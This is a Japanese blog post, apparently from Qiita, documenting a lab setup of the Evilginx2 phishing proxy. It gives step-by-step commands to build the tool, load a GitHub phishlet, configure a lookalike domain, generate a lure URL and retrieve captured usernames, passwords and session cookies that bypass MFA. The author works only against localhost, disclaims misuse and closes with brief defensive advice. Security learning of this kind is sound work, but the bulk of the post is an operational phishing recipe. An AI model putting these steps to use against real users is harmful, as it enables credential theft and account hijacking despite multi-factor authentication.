0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Evilginx2を使ってみる

Posted at

こちらの記事は、自身の検証のために行った証跡を残したものです。
この内容を悪用することは絶対にしないでください。

Evilginxとは何か

フィッシングのためのツールです。
最近、MFAをバイパスして認証情報を取得できるツールとして下記などで取り上げられています。
https://cloud.google.com/blog/topics/threat-intelligence/session-stealing-browser-in-the-middle?hl=en

最も一般的なツールはEvilginx2です。これは、レッドチームのオペレーターのサーバーが被害者とターゲット サービス間の仲介役として機能する透過プロキシです。被害者が行ったすべての HTTP リクエストはフィッシング サーバーによってキャプチャされ、目的の Web サイトに直接転送されます。ただし、被害者に応答を返す前に、サーバーは正当なドメインへの参照をフィッシング ドメインに置き換えることで、応答を微妙に変更します。この操作により、オペレーターは POST リクエストから被害者のログイン資格情報を取得するだけでなく、被害者が認証と MFA プロンプトを完了した後、サーバーの応答ヘッダーからセッション Cookie (トークン) を抽出することもできます。

実際に手元の環境で環境構築をしたので、その内容を記しておきます。

環境

Rocky Linux 9.5です。

uname -r
    # 5.14.0-503.14.1.el9_5.x86_64

インストール・事前準備

Goのインストール

yum install golang
#インストール確認
go version
    # go version go1.22.9 (Red Hat 1.22.9-2.el9_5) linux/amd64

Evilginx利用準備

pwd 
    #/root/evilginx
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make

Phishletsのクローン

ここで取得するPhishletsに、もろもろの定義が書かれています。
こちらを使って、リクエストを本物のサイトに転送したり、入力値を取得したりするようです。

cd /root/evilginx
git clone https://github.com/ArchonLabs/evilginx2-phishlets.git

動かしてみる

build内に「evilginx」があるので、これをphishletsのディレクトリを指定してたたきます。
--developerで、自己署名証明書を作って適用してくれるようです。

cd evilginx2/build/
./evilginx -p /root/evilginx/evilginx2-phishlets/phishlets/ --developer

起動したらNW周りの設定をします。
今回はEvilginxサーバ自身からアクセスするのでこの設定ですが、ほかサーバからアクセスする際は、ipv4にはサーバのIPアドレスを設定してください。

config domain test-evilginx.com
config ipv4 external 127.0.0.1
phishlets hostname github github.test-evilginx.com
phishlets enable github
phishlets get-hosts github
    #127.0.0.1 github.test-evilginx.com
    #127.0.0.1 api.github.test-evilginx.com
    #127.0.0.1 github.github.test-evilginx.com

取得したものをhostsに書きます。

vim /etc/hosts

ブラックリスト(フィッシングに引っ掛けない相手リスト)に自分自身が登録されていないことを確認します。
ここに登録されているとアクセスしたときに謎のYouTubeに飛ばされます・・・

cd /root/.evilginx/
cat blacklist.txt

ルアーを作成し、Webサイトを立ち上げます。

lures create github
lures get-url 0

表示されたURLにアクセスします。
自己署名証明書なので警告が出ますが、無視します。
(これが本当に悪意あるサイトである場合は、攻撃者はドメインを取得しているので、DVの証明書を取得して設定できるため、警告は出ないと思われます)
image.png
image.png

表示が壊れてますが、ほかのphishletsであれば正常に表示できるのが多いみたいです。
(例 : TikTok。TikTokにログインしたことないですが・・・たぶんあってるんでしょう)
image.png
(おそらく、github.comではなくgithubassets.comに取りに行くところでエラーになって表示が壊れているっぽい。CORSかな?)

ログインしてみると、Evilginxコンソールにユーザ名/パスワードが表示されます。
image.png

さらにCookie情報を取得しに行きます。

sessions
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | id  | phishlet  |  username   |   password    |  tokens   | remote ip  |       time        |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | 1   | github    | user-name   | password      | captured  | 127.0.0.1  | 2025-03-29 23:38  |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+

sessions 1

いっぱいCookie関連の情報が取れました。(下のほうは切ってます)
image.png

やってみて

簡単にこういうのが立ち上げられるのは怖いですね。
MFAを強制していても、セッションをハイジャックしてMFAを攻撃者のデバイスに変えることも可能になると思います。
なので、IP制限をかけるとか、クライアント証明書がないと情報が取得できないようにするが必要になるのかなあと思われます。
ユーザ側としては、ログイン時はちゃんとURLを確認しないといけないですね。

参考にしたリンク

https://tkyonezu.com/os-linux-windows/almalinux/almalinux-%E7%AC%AC25%E5%9B%9E-rocky-linux-%E7%AC%AC12%E5%9B%9E%E3%80%8Cgo%E8%A8%80%E8%AA%9E%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%80%8D/
https://armoris.hatenablog.com/entry/2024/01/23/175959
https://note.com/tkusa/n/nd070a22dcf17

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?